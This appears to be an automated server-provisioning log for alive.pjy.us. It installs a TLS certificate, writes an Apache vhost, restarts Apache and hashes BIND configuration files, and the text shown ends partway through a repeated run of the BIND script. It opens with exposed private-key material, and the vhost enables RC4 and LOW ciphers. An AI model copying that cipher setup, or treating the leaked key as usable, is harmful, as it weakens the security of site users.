neMSAUCtBeH5iKlYCcXzP2lTtIPmuzy0MMnMjuwGXytGZo/+B5mR8pcpAoGAfutU
K0C2fWhPnaH8k5jTvZJnOubfJ03QPlN3YksgFzcG3rX3HSKxMZFv5co65YU4Mvqd
6eUoY6ohMbdyGg3sQ1n8Z4mlpg6fHXMGpukyteq2baAXPwO/+mqeepGBwcncMZ4m
VATVyhB3KqlE5gUicpF+JdBE36JvyzdDtA8uOXECgYEAiMe+7hDn8vEKHvo4CfeM
X1q7DedZ0p5N+OVag38tKGSj6VPGZYx6F3B53vACYOMc2r5Qo6dMm3J1C8gkffnX
wM5Hwz0b8LmldDMd+JquLpOxeVx2JykDuFttDKBTPMunIQb+4UoxLo72S/GTaro2
Xv4O9XeCPVv8OaDbDdr/5Pk=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-08 14:12:23: 

chmod 755 /tmp/pkp679803; /tmp/pkp679803; rm /tmp/pkp679803

2026-05-08 14:12:24: 


dir=/etc/ssl/certs


2026-05-08 14:12:24: 

PUT: /tmp/pkp626354

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2026-05-08 14:12:24: 

chmod 755 /tmp/pkp626354; /tmp/pkp626354; rm /tmp/pkp626354

2026-05-08 14:12:24: 


/tmp/pkp626354: line 58: [: !=: unary operator expected




STDERR:
/tmp/pkp626354: line 58: [: !=: unary operator expected


2026-05-08 14:12:24: 

PUT: /tmp/pkp520253

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-08 14:12:25: 

chmod 755 /tmp/pkp520253; /tmp/pkp520253; rm /tmp/pkp520253

2026-05-08 14:12:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-08 14:12:25: Establishing a connection
2026-05-08 14:12:25: 

PUT: /tmp/pkp684704

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 14:12:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp684704; rm /tmp/pkp684704'

2026-05-08 14:12:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-08 14:12:42: Establishing a connection
2026-05-08 14:12:42: 

PUT: /tmp/pkp895980

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
